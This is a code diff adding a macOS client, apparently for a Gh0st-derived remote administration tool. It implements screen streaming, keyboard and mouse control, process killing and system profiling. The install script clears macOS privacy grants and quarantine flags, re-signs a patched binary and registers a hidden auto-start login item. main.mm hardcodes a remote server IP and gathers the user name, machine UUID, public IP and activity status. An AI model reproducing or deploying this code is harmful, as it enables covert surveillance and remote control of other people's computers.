ScreenHandler.h/mm - Screen capture and H264 encoding
InputHandler.h/mm - Mouse/keyboard simulation
H264Encoder.h/mm - VideoToolbox H264 encoder
SystemManager.h/mm - Process management
main.mm - Entry point, LOGIN_INFOR, heartbeat
Quality Levels:
Level 0: 5 FPS, Grayscale (emergency low bandwidth)
Level 1: 10 FPS, RGB565
Level 2: 15 FPS, H264 (default, office work)
Level 3: 20 FPS, H264
Level 4: 25 FPS, H264
Level 5: 30 FPS, H264 (smooth)
Notes:
- First frame is always raw bitmap (TOKEN_FIRSTSCREEN)
- Subsequent frames use H264 encoding (TOKEN_NEXTSCREEN)
- Coordinates are scaled for Retina displays automatically
- Windows VK codes are mapped to macOS key codes

160
macos/ScreenHandler.h Normal file
View File

@@ -0,0 +1,160 @@
#pragma once
#import <CoreGraphics/CoreGraphics.h>
#import <dispatch/dispatch.h>
#import <IOKit/pwr_mgt/IOPMLib.h>
#import <IOSurface/IOSurface.h>
#import "../client/IOCPClient.h"
#import "../common/commands.h" // QualityLevel, QualityProfile, ALGORITHM_*
#include <vector>
#include <atomic>
#include <mutex>
#include <thread>
#include <cstdint>
#include <memory>
#include <condition_variable>
// Forward declarations
class IOCPClient;
class H264Encoder;
class InputHandler;
// macOS BITMAPINFOHEADER (compatible with Windows)
#pragma pack(push, 1)
struct BITMAPINFOHEADER_MAC {
uint32_t biSize; // 40
int32_t biWidth;
int32_t biHeight;
uint16_t biPlanes; // 1
uint16_t biBitCount; // 32
uint32_t biCompression; // 0 (BI_RGB)
uint32_t biSizeImage;
int32_t biXPelsPerMeter; // 0
int32_t biYPelsPerMeter; // 0
uint32_t biClrUsed; // 0
uint32_t biClrImportant; // 0
};
#pragma pack(pop)
// Algorithm constants from commands.h: ALGORITHM_GRAY, ALGORITHM_DIFF, ALGORITHM_H264, ALGORITHM_RGB565
class ScreenHandler : public IOCPManager {
public:
ScreenHandler(IOCPClient* client);
~ScreenHandler();
// Initialize screen capture (returns false if permission denied)
bool init();
// Start/stop capture loop
void start(IOCPClient* client, uint64_t clientID);
void stop();
// Check if running
bool isRunning() const { return m_running; }
// Get screen dimensions
int getWidth() const { return m_width; }
int getHeight() const { return m_height; }
// Send bitmap info to server (called after connection)
void sendBitmapInfo();
// Handle received commands
void OnReceive(uint8_t* data, ULONG size);
// Apply quality level
void applyQualityLevel(int8_t level, bool persist = false);
private:
// Capture the screen (returns BGRA data, bottom-up)
bool captureScreen(std::vector<uint8_t>& buffer);
// Send first full screen frame
void sendFirstScreen();
// Send differential frame
void sendDiffFrame();
// Send H264 encoded frame
void sendH264Frame(bool keyframe);
// Compare bitmaps and generate diff data
uint32_t compareBitmap(const uint8_t* curr, const uint8_t* prev,
uint8_t* outBuf, uint32_t totalBytes, uint8_t algo);
// Color conversion helpers
void convertBGRAtoGray(const uint8_t* src, uint8_t* dst, uint32_t pixelCount);
void convertBGRAtoRGB565(const uint8_t* src, uint16_t* dst, uint32_t pixelCount);
// Capture loop thread function
void captureLoop();
// Get current time in milliseconds
static uint64_t getTickMs();
// Get current cursor position (in physical pixels)
void getCursorPosition(int32_t& x, int32_t& y);
// Get current cursor type index (matches Windows cursor indices)
uint8_t getCursorTypeIndex();
private:
IOCPClient* m_client;
uint64_t m_clientID;
std::atomic<bool> m_running;
std::thread m_captureThread;
std::mutex m_mutex;
// Screen info
int m_width; // Physical pixel width (sent to server)
int m_height; // Physical pixel height (sent to server)
int m_logicalWidth; // Logical point width (for CGEvent)
int m_logicalHeight; // Logical point height (for CGEvent)
double m_scaleFactor; // Retina scale factor (physical / logical)
CGDirectDisplayID m_displayID;
// Protocol
BITMAPINFOHEADER_MAC m_bmpHeader;
std::vector<uint8_t> m_prevFrame;
std::vector<uint8_t> m_currFrame;
std::vector<uint8_t> m_diffBuffer;
std::vector<uint8_t> m_tempBuffer; // 临时缓冲区,避免每帧分配
// Quality settings
std::atomic<uint8_t> m_algorithm;
std::atomic<int> m_maxFPS;
int8_t m_qualityLevel;
// H264 encoder
std::unique_ptr<H264Encoder> m_h264Encoder;
int m_h264Bitrate;
// Input handler for mouse/keyboard control
std::unique_ptr<InputHandler> m_inputHandler;
// Power management: prevent display sleep during remote desktop
IOPMAssertionID m_displayAssertionID;
// Cached color space (avoid per-frame creation)
CGColorSpaceRef m_colorSpace;
// CGDisplayStream (efficient continuous capture)
CGDisplayStreamRef m_displayStream;
dispatch_queue_t m_streamQueue;
IOSurfaceRef m_latestSurface;
std::mutex m_surfaceMutex;
std::condition_variable m_surfaceCond;
std::atomic<bool> m_hasNewFrame;
// Initialize/cleanup display stream
bool initDisplayStream();
void cleanupDisplayStream();
// Process frame from IOSurface (called by stream callback)
void processIOSurface(IOSurfaceRef surface);
// Capture from IOSurface to buffer (with vertical flip)
bool captureFromIOSurface(IOSurfaceRef surface, std::vector<uint8_t>& buffer);
};

1144
macos/ScreenHandler.mm Normal file

File diff suppressed because it is too large Load Diff

40
macos/SystemManager.h Normal file
View File

@@ -0,0 +1,40 @@
#pragma once
#include <cstdint>
#include <vector>
#include <string>
// Forward declaration
class IOCPClient;
class SystemManager {
public:
SystemManager(IOCPClient* client, uint64_t clientID);
~SystemManager();
// Handle commands from server
void onReceive(const uint8_t* data, size_t size);
private:
// Send process list to server
void sendProcessList();
// Kill processes by PID
void killProcesses(const uint8_t* data, size_t size);
// Send window list (limited on macOS without accessibility)
void sendWindowsList();
// Get process name by PID
static std::string getProcessName(pid_t pid);
// Get process executable path by PID
static std::string getProcessPath(pid_t pid);
// Get all running PIDs
static std::vector<pid_t> getAllPids();
private:
IOCPClient* m_client;
uint64_t m_clientID;
};

201
macos/SystemManager.mm Normal file
View File

@@ -0,0 +1,201 @@
#import "SystemManager.h"
#import "../client/IOCPClient.h"
#import <Cocoa/Cocoa.h>
#import <sys/sysctl.h>
#import <libproc.h>
#import <signal.h>
#import <unistd.h>
SystemManager::SystemManager(IOCPClient* client, uint64_t clientID)
: m_client(client)
, m_clientID(clientID)
{
// Send initial process list on connection
sendProcessList();
}
SystemManager::~SystemManager()
{
}
void SystemManager::onReceive(const uint8_t* data, size_t size)
{
if (!data || size == 0) return;
switch (data[0]) {
case COMMAND_PSLIST:
sendProcessList();
break;
case COMMAND_KILLPROCESS:
if (size > 1) {
killProcesses(data + 1, size - 1);
// Refresh list after kill
usleep(100000); // 100ms wait
sendProcessList();
}
break;
case COMMAND_WSLIST:
sendWindowsList();
break;
default:
NSLog(@"SystemManager: Unknown command: %d", (int)data[0]);
break;
}
}
std::vector<pid_t> SystemManager::getAllPids()
{
std::vector<pid_t> pids;
// Get number of processes
int count = proc_listpids(PROC_ALL_PIDS, 0, NULL, 0);
if (count <= 0) return pids;
// Allocate buffer for PIDs
std::vector<pid_t> buffer(count * 2); // Extra space for new processes
count = proc_listpids(PROC_ALL_PIDS, 0, buffer.data(), (int)(buffer.size() * sizeof(pid_t)));
if (count <= 0) return pids;
int numPids = count / sizeof(pid_t);
for (int i = 0; i < numPids; i++) {
if (buffer[i] > 0) {
pids.push_back(buffer[i]);
}
}
return pids;
}
std::string SystemManager::getProcessName(pid_t pid)
{
char name[PROC_PIDPATHINFO_MAXSIZE];
memset(name, 0, sizeof(name));
struct proc_bsdinfo info;
if (proc_pidinfo(pid, PROC_PIDTBSDINFO, 0, &info, sizeof(info)) > 0) {
return std::string(info.pbi_name);
}
return "";
}
std::string SystemManager::getProcessPath(pid_t pid)
{
char path[PROC_PIDPATHINFO_MAXSIZE];
memset(path, 0, sizeof(path));
if (proc_pidpath(pid, path, sizeof(path)) > 0) {
return std::string(path);
}
return "";
}
void SystemManager::sendProcessList()
{
if (!m_client) return;
std::vector<uint8_t> buf;
buf.reserve(64 * 1024);
// Token header
buf.push_back(TOKEN_PSLIST);
// Architecture string
#if defined(__arm64__) || defined(__aarch64__)
const char* arch = "arm64";
#else
const char* arch = "x64";
#endif
std::vector<pid_t> pids = getAllPids();
for (pid_t pid : pids) {
if (pid <= 0) continue;
std::string name = getProcessName(pid);
if (name.empty()) continue;
std::string path = getProcessPath(pid);
if (path.empty()) {
path = "[" + name + "]";
}
// Format: "processname:arch"
std::string exeFile = name + ":" + arch;
// Write PID (4 bytes, DWORD)
uint32_t dwPid = (uint32_t)pid;
const uint8_t* p = (const uint8_t*)&dwPid;
buf.insert(buf.end(), p, p + sizeof(uint32_t));
// Write exeFile (null-terminated)
buf.insert(buf.end(), exeFile.begin(), exeFile.end());
buf.push_back(0);
// Write fullPath (null-terminated)
buf.insert(buf.end(), path.begin(), path.end());
buf.push_back(0);
}
m_client->Send2Server((char*)buf.data(), buf.size());
NSLog(@"SystemManager SendProcessList: %zu bytes, %zu processes",
buf.size(), pids.size());
}
void SystemManager::killProcesses(const uint8_t* data, size_t size)
{
// Each PID is 4 bytes (DWORD)
for (size_t i = 0; i + sizeof(uint32_t) <= size; i += sizeof(uint32_t)) {
uint32_t dwPid = *(uint32_t*)(data + i);
pid_t pid = (pid_t)dwPid;
// Don't allow killing kernel/launchd
if (pid <= 1) continue;
// Don't allow killing ourselves
if (pid == getpid()) continue;
int ret = kill(pid, SIGKILL);
NSLog(@"SystemManager kill(%d, SIGKILL) = %d", (int)pid, ret);
}
}
void SystemManager::sendWindowsList()
{
if (!m_client) return;
std::vector<uint8_t> buf;
buf.push_back(TOKEN_WSLIST);
// Get list of running applications
NSArray<NSRunningApplication*>* apps = [[NSWorkspace sharedWorkspace] runningApplications];
for (NSRunningApplication* app in apps) {
// Only include apps with windows
if (app.activationPolicy != NSApplicationActivationPolicyRegular) {
continue;
}
NSString* name = app.localizedName;
if (!name) continue;
pid_t pid = app.processIdentifier;
// Write window handle (use PID as pseudo-handle)
uint64_t hwnd = (uint64_t)pid;
const uint8_t* p = (const uint8_t*)&hwnd;
buf.insert(buf.end(), p, p + sizeof(uint64_t));
// Write window title (null-terminated)
const char* utf8Name = [name UTF8String];
buf.insert(buf.end(), utf8Name, utf8Name + strlen(utf8Name));
buf.push_back(0);
}
m_client->Send2Server((char*)buf.data(), buf.size());
NSLog(@"SystemManager SendWindowsList: %zu bytes", buf.size());
}

47
macos/build.sh Normal file
View File

@@ -0,0 +1,47 @@
#!/bin/bash
# macOS Ghost Client Build Script
# Usage: ./build.sh
set -e
echo "=== macOS Ghost Client Build ==="
echo ""
# Check for Xcode Command Line Tools
if ! command -v clang &> /dev/null; then
echo "Error: Xcode Command Line Tools not installed"
echo "Run: xcode-select --install"
exit 1
fi
# Check for CMake
if ! command -v cmake &> /dev/null; then
echo "Error: CMake not installed"
echo "Install with: brew install cmake"
exit 1
fi
# Create build directory
mkdir -p build
cd build
# Configure
echo "Configuring..."
cmake .. -DCMAKE_BUILD_TYPE=Release
# Build
echo ""
echo "Building..."
cmake --build . --config Release -j$(sysctl -n hw.ncpu)
# Done
echo ""
echo "=== Build Complete ==="
echo "Executable: build/bin/ghost"
echo ""
echo "To run:"
echo " ./bin/ghost [server_ip] [port]"
echo ""
echo "Example:"
echo " ./bin/ghost 192.168.0.55 6543"

BIN
macos/ghost Normal file

Binary file not shown.

122
macos/install.sh Normal file
View File

@@ -0,0 +1,122 @@
#!/bin/bash
# macOS Ghost Client 安装脚本
# 用法: ./install.sh [ghost路径]
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
APP_DIR="/Applications/GhostClient.app"
APP_BIN="$APP_DIR/Contents/MacOS/ghost"
# 源 binary 优先级:
# 1) 命令行参数显式指定
# 2) 脚本同目录的 ghost拷贝分发场景不带源码/不重编)
# 3) build/bin/ghost标准构建产物
if [ -n "$1" ]; then
GHOST_SRC="$1"
elif [ -f "$SCRIPT_DIR/ghost" ]; then
GHOST_SRC="$SCRIPT_DIR/ghost"
else
GHOST_SRC="$SCRIPT_DIR/build/bin/ghost"
fi
echo "=== GhostClient 安装程序 ==="
echo ""
# 检查源文件
if [ ! -f "$GHOST_SRC" ]; then
echo "错误: 找不到 ghost 二进制"
echo " 尝试过: $SCRIPT_DIR/ghost"
echo " 尝试过: $SCRIPT_DIR/build/bin/ghost"
echo ""
echo "请先编译: ./build.sh"
echo "或将 ghost 二进制放到脚本同目录"
echo "或指定路径: $0 <ghost可执行文件路径>"
exit 1
fi
echo "源文件: $GHOST_SRC"
echo ""
set -e
# 1. 停止旧进程
echo "[1/7] 停止旧进程..."
pkill -9 -f "$APP_BIN" 2>/dev/null || true
# 2. 重置系统权限(关键步骤!避免权限缓存导致空白桌面)
echo "[2/7] 重置系统权限..."
echo " (这会清除屏幕录制和辅助功能的旧授权,需要重新授权)"
tccutil reset ScreenCapture 2>/dev/null || true
tccutil reset Accessibility 2>/dev/null || true
# 3. 创建应用程序包
echo "[3/7] 创建应用程序..."
sudo rm -rf "$APP_DIR"
sudo mkdir -p "$APP_DIR/Contents/MacOS"
sudo mkdir -p "$APP_DIR/Contents/Resources"
# 复制 ghost 到 app bundle 内部
sudo cp "$GHOST_SRC" "$APP_BIN"
sudo chmod +x "$APP_BIN"
# 创建 Info.plist
sudo tee "$APP_DIR/Contents/Info.plist" > /dev/null << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>ghost</string>
<key>CFBundleIdentifier</key>
<string>com.ghost.client</string>
<key>CFBundleName</key>
<string>GhostClient</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>LSUIElement</key>
<true/>
</dict>
</plist>
EOF
# 4. 清除隔离属性
echo "[4/7] 清除隔离属性..."
sudo xattr -cr "$APP_DIR"
# 5. 签名应用ad-hoc 重签)
# 必须步骤Apple Silicon 上未签 / 签名失效的 binary 会被 AMFI 直接 SIGKILL。
# 常见破坏签名的场景:服务端 BuildDlg 在 Windows 端 patch 了 binary 里的服务器
# 地址 → 那一页的 SHA-256 hash 跟原签名块对不上 → AMFI 拒绝运行。
# --force 替换旧签名,--deep 覆盖 bundle 内所有可执行项,--sign - 是 ad-hoc。
echo "[5/7] 签名应用 (ad-hoc, 修复 binary 修改后的签名失效)..."
sudo codesign --force --deep --sign - "$APP_DIR"
# 6. 添加到登录项(开机自启)
echo "[6/7] 添加到登录项..."
osascript -e 'tell application "System Events" to delete login item "GhostClient"' 2>/dev/null || true
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/Applications/GhostClient.app", hidden:true}' 2>/dev/null && echo " 已添加开机自启" || echo " 添加失败,请手动添加"
# 7. 完成
echo "[7/7] 安装完成!"
echo ""
echo "========================================"
echo " 下一步: 授权系统权限"
echo "========================================"
echo ""
echo "1. 启动应用 (会自动弹出权限请求):"
echo ""
echo " open /Applications/GhostClient.app"
echo ""
echo "2. 授权以下权限 (在系统设置中勾选 GhostClient):"
echo " - 屏幕录制: 允许捕获屏幕画面"
echo " - 辅助功能: 允许控制鼠标键盘"
echo ""
echo "3. 授权后重启应用:"
echo ""
echo " pkill -f GhostClient && open /Applications/GhostClient.app"
echo ""
echo "4. 查看日志确认运行状态:"
echo ""
echo " tail -f /tmp/ghost.log"
echo ""
echo "========================================"
echo ""

BIN
macos/lib/libsign.a Normal file

Binary file not shown.

BIN
macos/lib/libzstd.a Normal file

Binary file not shown.

950
macos/main.mm Normal file
View File

@@ -0,0 +1,950 @@
#import <Cocoa/Cocoa.h>
#import <sys/sysctl.h>
#import <sys/stat.h>
#import <mach/mach.h>
#import <mach-o/dyld.h>
#import <pwd.h>
#import <signal.h>
#import <unistd.h>
#import <fcntl.h>
#import <IOKit/IOKitLib.h>
#import <IOKit/pwr_mgt/IOPMLib.h>
#import <fstream>
#import <thread>
#import <atomic>
#import <memory>
#import <string>
#import <map>
#import "../client/IOCPClient.h"
#define XXH_INLINE_ALL
#include "../common/xxhash.h"
#include "../common/rtt_estimator.h"
#include "../common/client_auth_state.h"
#include "../common/posix_net_helpers.h"
#include "../common/sub_conn_thread.h"
#import "Permissions.h"
#import "ScreenHandler.h"
#import "InputHandler.h"
#import "SystemManager.h"
#import "../common/PTYHandler.h"
#import "../common/FileManager.h"
#import "../common/FileTransferV2.h"
#import "../common/logger.h"
#import "ClipboardHandler.h"
// Global state
static std::atomic<bool> g_running(true);
static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重发登录信息
// Client ID (calculated from system info, used by ScreenHandler)
uint64_t g_myClientID = 0;
// 服务端身份校验全局状态已抽到 common/client_auth_state.hnamespace ClientAuth
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };
State g_bExit = S_CLIENT_NORMAL;
// ============== Configuration File Functions ==============
// Config path: ~/.config/ghost/config.conf (same as Linux)
// Format: key=value (one per line)
static std::string g_configDir;
static std::string g_configPath;
static std::map<std::string, std::string> g_configData;
// Initialize config paths
static void initConfigPaths()
{
if (!g_configDir.empty()) return; // Already initialized
const char* home = getenv("HOME");
if (!home) {
struct passwd* pw = getpwuid(getuid());
if (pw) home = pw->pw_dir;
}
if (!home) home = "/tmp";
g_configDir = std::string(home) + "/.config/ghost";
g_configPath = g_configDir + "/config.conf";
}
// Recursively create directory
static void mkdirRecursive(const std::string& path)
{
size_t pos = 0;
while ((pos = path.find('/', pos + 1)) != std::string::npos) {
mkdir(path.substr(0, pos).c_str(), 0755);
}
mkdir(path.c_str(), 0755);
}
// Load all config from file
static void loadConfig()
{
initConfigPaths();
g_configData.clear();
std::ifstream file(g_configPath);
if (!file.is_open()) return;
std::string line;
while (std::getline(file, line)) {
size_t eq = line.find('=');
if (eq != std::string::npos) {
g_configData[line.substr(0, eq)] = line.substr(eq + 1);
}
}
}
// Save all config to file
static void saveConfig()
{
initConfigPaths();
mkdirRecursive(g_configDir);
std::ofstream file(g_configPath, std::ios::trunc);
if (!file.is_open()) {
NSLog(@"Failed to save config to %s", g_configPath.c_str());
return;
}
for (const auto& kv : g_configData) {
file << kv.first << "=" << kv.second << "\n";
}
NSLog(@"Config saved to %s", g_configPath.c_str());
}
// Get config string value
static std::string getConfigStr(const std::string& key, const std::string& def = "")
{
auto it = g_configData.find(key);
return it != g_configData.end() ? it->second : def;
}
// Set config string value
static void setConfigStr(const std::string& key, const std::string& value)
{
g_configData[key] = value;
saveConfig();
}
// Save group name to config file
static void saveGroupName(const std::string& groupName)
{
setConfigStr("group_name", groupName);
NSLog(@"Group name saved: %s", groupName.c_str());
}
// Load group name from config file
static std::string loadGroupName()
{
return getConfigStr("group_name");
}
// ============== System Information Functions ==============
// Get macOS version string (e.g., "macOS 14.0 Sonoma")
static std::string getMacOSVersion()
{
NSOperatingSystemVersion version = [[NSProcessInfo processInfo] operatingSystemVersion];
NSString* versionString = [NSString stringWithFormat:@"macOS %ld.%ld.%ld",
(long)version.majorVersion,
(long)version.minorVersion,
(long)version.patchVersion];
return std::string([versionString UTF8String]);
}
// Get hostname
static std::string getHostname()
{
char hostname[256] = {};
gethostname(hostname, sizeof(hostname));
return std::string(hostname);
}
// Get CPU model and frequency
static std::string getCPUInfo()
{
char buf[256] = {};
size_t size = sizeof(buf);
if (sysctlbyname("machdep.cpu.brand_string", buf, &size, NULL, 0) == 0) {
return std::string(buf);
}
return "Unknown CPU";
}
// Get CPU frequency in MHz
static int getCPUFrequencyMHz()
{
uint64_t freq = 0;
size_t size = sizeof(freq);
if (sysctlbyname("hw.cpufrequency_max", &freq, &size, NULL, 0) == 0) {
return (int)(freq / 1000000);
}
return 0;
}
// Get number of CPU cores
static int getCPUCores()
{
int cores = 0;
size_t size = sizeof(cores);
if (sysctlbyname("hw.ncpu", &cores, &size, NULL, 0) == 0) {
return cores;
}
return 1;
}
// Get total physical memory in GB
static double getMemoryGB()
{
int64_t memSize = 0;
size_t size = sizeof(memSize);
if (sysctlbyname("hw.memsize", &memSize, &size, NULL, 0) == 0) {
return (double)memSize / (1024.0 * 1024.0 * 1024.0);
}
return 0;
}
// Get current username
static std::string getUsername()
{
struct passwd* pw = getpwuid(getuid());
if (pw && pw->pw_name) {
return std::string(pw->pw_name);
}
const char* user = getenv("USER");
return user ? std::string(user) : "unknown";
}
// 读取 IOKit 维护的 IOPlatformUUID与 Windows MachineGuid 等价)
// 这是主板/系统级 UUID由 IOPlatformExpertDevice 服务提供,重装系统通常不变。
// 对应Windows HKLM\Software\Microsoft\Cryptography\MachineGuid
// Linux /etc/machine-id
static std::string getMachineId()
{
std::string result;
io_service_t platformExpert = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOPlatformExpertDevice"));
if (platformExpert != IO_OBJECT_NULL) {
CFTypeRef uuidProperty = IORegistryEntryCreateCFProperty(
platformExpert, CFSTR(kIOPlatformUUIDKey),
kCFAllocatorDefault, 0);
if (uuidProperty != nullptr) {
if (CFGetTypeID(uuidProperty) == CFStringGetTypeID()) {
CFStringRef uuidStr = (CFStringRef)uuidProperty;
char buf[64] = {};
if (CFStringGetCString(uuidStr, buf, sizeof(buf), kCFStringEncodingUTF8)) {
result = buf;
}
}
CFRelease(uuidProperty);
}
IOObjectRelease(platformExpert);
}
return result;
}
// 路径归一化macOS 版):解析符号链接 + 转小写
// realpath 把 /Applications/foo/../bar 之类折回规范形式;
// 小写化保持与 Windows/Linux 跨端一致。macOS HFS+/APFS 默认大小写不敏感,
// 转小写不改变文件标识、但避免路径串大小写差异引起 ID 不同。
static std::string normalizeExePathLower(const std::string& path)
{
char resolved[PATH_MAX] = {};
std::string out;
if (realpath(path.c_str(), resolved) != nullptr) {
out = resolved;
} else {
out = path; // 解析失败:用原值
}
for (auto& c : out) {
if (c >= 'A' && c <= 'Z') c = c - 'A' + 'a';
}
return out;
}
// Get screen resolution
static std::string getScreenResolution()
{
NSScreen* mainScreen = [NSScreen mainScreen];
if (mainScreen) {
NSRect frame = [mainScreen frame];
return [NSString stringWithFormat:@"1:%dx%d",
(int)frame.size.width, (int)frame.size.height].UTF8String;
}
return "0:0x0";
}
// Get executable path
static std::string getExecutablePath()
{
char path[PATH_MAX];
uint32_t size = sizeof(path);
if (_NSGetExecutablePath(path, &size) == 0) {
return std::string(path);
}
return "";
}
// Get current time string (Beijing time, UTC+8)
static std::string getTimeString()
{
NSDateFormatter* formatter = [[NSDateFormatter alloc] init];
[formatter setDateFormat:@"yyyy-MM-dd HH:mm:ss"];
[formatter setTimeZone:[NSTimeZone timeZoneForSecondsFromGMT:8*3600]];
NSString* dateString = [formatter stringFromDate:[NSDate date]];
return std::string([dateString UTF8String]);
}
// Get user idle time in seconds (time since last keyboard/mouse input)
static double getUserIdleTime()
{
// CGEventSourceSecondsSinceLastEventType returns seconds since last event
// kCGEventSourceStateCombinedSessionState includes all input sources
CFTimeInterval idleTime = CGEventSourceSecondsSinceLastEventType(
kCGEventSourceStateCombinedSessionState,
kCGAnyInputEventType
);
// Defensive: ensure non-negative (edge case protection)
return idleTime > 0 ? idleTime : 0;
}
// Check if screen is locked
static bool isScreenLocked()
{
// Method 1: Check CGSession dictionary for screen lock status
CFDictionaryRef sessionDict = CGSessionCopyCurrentDictionary();
if (sessionDict) {
// Check for "CGSSessionScreenIsLocked" key
CFBooleanRef screenLocked = (CFBooleanRef)CFDictionaryGetValue(
sessionDict, CFSTR("CGSSessionScreenIsLocked"));
if (screenLocked && CFBooleanGetValue(screenLocked)) {
CFRelease(sessionDict);
return true;
}
CFRelease(sessionDict);
}
// Method 2: Check if loginwindow is frontmost (screen saver / lock screen)
NSRunningApplication* frontApp = [[NSWorkspace sharedWorkspace] frontmostApplication];
if (frontApp) {
NSString* bundleId = [frontApp bundleIdentifier];
if ([bundleId isEqualToString:@"com.apple.loginwindow"] ||
[bundleId isEqualToString:@"com.apple.ScreenSaver.Engine"]) {
return true;
}
}
return false;
}
// Format time as HH:MM:SS with prefix
static std::string formatStatusTime(const char* prefix, double seconds)
{
int totalSecs = (int)seconds;
int hours = totalSecs / 3600;
int mins = (totalSecs % 3600) / 60;
int secs = totalSecs % 60;
char buffer[64];
snprintf(buffer, sizeof(buffer), "%s: %02d:%02d:%02d", prefix, hours, mins, secs);
return std::string(buffer);
}
// Get active application name or idle/locked status (works for background processes)
static std::string getActiveApp()
{
double idleTime = getUserIdleTime();
// Check if screen is locked first
if (isScreenLocked()) {
return formatStatusTime("Locked", idleTime);
}
// Check user idle time (matches Windows/Linux: 6 seconds threshold)
// If idle for more than 6 seconds, report inactive status
if (idleTime >= 6.0) {
return formatStatusTime("Inactive", idleTime);
}
// Use CGWindowListCopyWindowInfo to get the frontmost window
// This works reliably even when running as a background/nohup process
CFArrayRef windowList = CGWindowListCopyWindowInfo(
kCGWindowListOptionOnScreenOnly | kCGWindowListExcludeDesktopElements,
kCGNullWindowID
);
if (windowList) {
CFIndex count = CFArrayGetCount(windowList);
for (CFIndex i = 0; i < count; i++) {
CFDictionaryRef window = (CFDictionaryRef)CFArrayGetValueAtIndex(windowList, i);
// Get window layer - layer 0 is normal windows
CFNumberRef layerRef = (CFNumberRef)CFDictionaryGetValue(window, kCGWindowLayer);
int layer = 0;
if (layerRef) {
CFNumberGetValue(layerRef, kCFNumberIntType, &layer);
}
// Skip non-normal windows (menu bar, dock, etc.)
if (layer != 0) continue;
// Get owner name (application name)
CFStringRef ownerName = (CFStringRef)CFDictionaryGetValue(window, kCGWindowOwnerName);
if (ownerName) {
char buffer[256] = {};
if (CFStringGetCString(ownerName, buffer, sizeof(buffer), kCFStringEncodingUTF8)) {
CFRelease(windowList);
return std::string(buffer);
}
}
}
CFRelease(windowList);
}
// Fallback to NSWorkspace (may not work for background processes)
NSRunningApplication* app = [[NSWorkspace sharedWorkspace] frontmostApplication];
if (app) {
NSString* name = [app localizedName];
if (name) {
return std::string([name UTF8String]);
}
}
return "";
}
// ============== Check if camera exists ==============
static bool hasCameraDevice()
{
// Most MacBooks have built-in FaceTime camera
// Check model identifier to determine if it's a MacBook
char model[256] = {};
size_t size = sizeof(model);
if (sysctlbyname("hw.model", model, &size, NULL, 0) == 0) {
std::string modelStr(model);
// MacBooks (Air/Pro) always have cameras
if (modelStr.find("MacBook") != std::string::npos) {
return true;
}
// iMac also has camera
if (modelStr.find("iMac") != std::string::npos) {
return true;
}
}
// Mac Mini and Mac Pro typically don't have built-in cameras
return false;
}
// ============== Public IP ==============
// Execute command and return output
// execCmd / httpGet / getPublicIP 已抽到 common/posix_net_helpers.hnamespace PosixNet
// 这里保留同名 wrapper 避免改动调用点。Linux 端额外的 jsonExtract / getGeoLocation
// macOS 暂未使用,需要时直接用 PosixNet:: 命名空间访问。
static inline std::string execCmd(const std::string& cmd) { return PosixNet::execCmd(cmd); }
static inline std::string httpGet(const std::string& url, int timeoutSec = 5) { return PosixNet::httpGet(url, timeoutSec); }
static inline std::string getPublicIP() { return PosixNet::getPublicIP(); }
// ============== Install Time (persistent storage) ==============
static std::string getInstallTime()
{
@autoreleasepool {
NSUserDefaults* defaults = [NSUserDefaults standardUserDefaults];
NSString* installTime = [defaults stringForKey:@"ghost_install_time"];
if (installTime == nil || [installTime length] == 0) {
// First run - record current time as install time
std::string currentTime = getTimeString();
installTime = [NSString stringWithUTF8String:currentTime.c_str()];
[defaults setObject:installTime forKey:@"ghost_install_time"];
[defaults synchronize];
NSLog(@"First run - recorded install time: %@", installTime);
}
return std::string([installTime UTF8String]);
}
}
// ============== Fill LOGIN_INFOR ==============
static void fillLoginInfo(LOGIN_INFOR& info)
{
// Token is set in constructor
info.bToken = TOKEN_LOGIN;
// OS Version
std::string osVer = getMacOSVersion();
strncpy(info.OsVerInfoEx, osVer.c_str(), sizeof(info.OsVerInfoEx) - 1);
// CPU MHz
info.dwCPUMHz = getCPUFrequencyMHz();
// PC Name (hostname) - with group name if set
std::string hostname = getHostname();
std::string groupName = loadGroupName();
if (!groupName.empty()) {
// Also update g_SETTINGS for consistency
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
g_SETTINGS.szGroupName[sizeof(g_SETTINGS.szGroupName) - 1] = '\0';
// Format: "hostname/groupname"
std::string pcNameWithGroup = hostname + "/" + groupName;
strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1);
} else if (g_SETTINGS.szGroupName[0] != 0) {
// Use group from g_SETTINGS (set at build time)
groupName = g_SETTINGS.szGroupName;
std::string pcNameWithGroup = hostname + "/" + groupName;
strncpy(info.szPCName, pcNameWithGroup.c_str(), sizeof(info.szPCName) - 1);
} else {
strncpy(info.szPCName, hostname.c_str(), sizeof(info.szPCName) - 1);
}
info.szPCName[sizeof(info.szPCName) - 1] = '\0';
// Webcam
info.bWebCamIsExist = hasCameraDevice() ? 1 : 0;
// Start time (current session start)
std::string startTime = getTimeString();
strncpy(info.szStartTime, startTime.c_str(), sizeof(info.szStartTime) - 1);
// Reserved fields (pipe-separated, must match Windows client order)
// Order: Type|Bits|Cores|Memory|Path|?|InstallTime|?|ProgBits|Auth|Location|IP|Version|User|IsAdmin|Resolution|ClientID
// 1. Client type (use GetClientType for consistency with Windows client)
info.AddReserved(GetClientType(CLIENT_TYPE_MACOS));
// 2. System bits (OS bits, always 64 on modern macOS)
info.AddReserved(64);
// 3. CPU cores
info.AddReserved(getCPUCores());
// 4. Memory (GB)
info.AddReserved(getMemoryGB());
// 5. File path (executable path)
std::string exePath = getExecutablePath();
info.AddReserved(exePath.c_str());
// 6. Placeholder
info.AddReserved("?");
// 7. Install time (first run time, persistent)
std::string installTime = getInstallTime();
info.AddReserved(installTime.c_str());
// 8. Active window / Start time (initial value is start time, updated via heartbeat)
info.AddReserved(startTime.c_str());
// 9. Program bits (always 64 on modern macOS)
info.AddReserved(64);
// 10. Authorization info (placeholder)
info.AddReserved("");
// 11. Location (placeholder, could add GeoIP later)
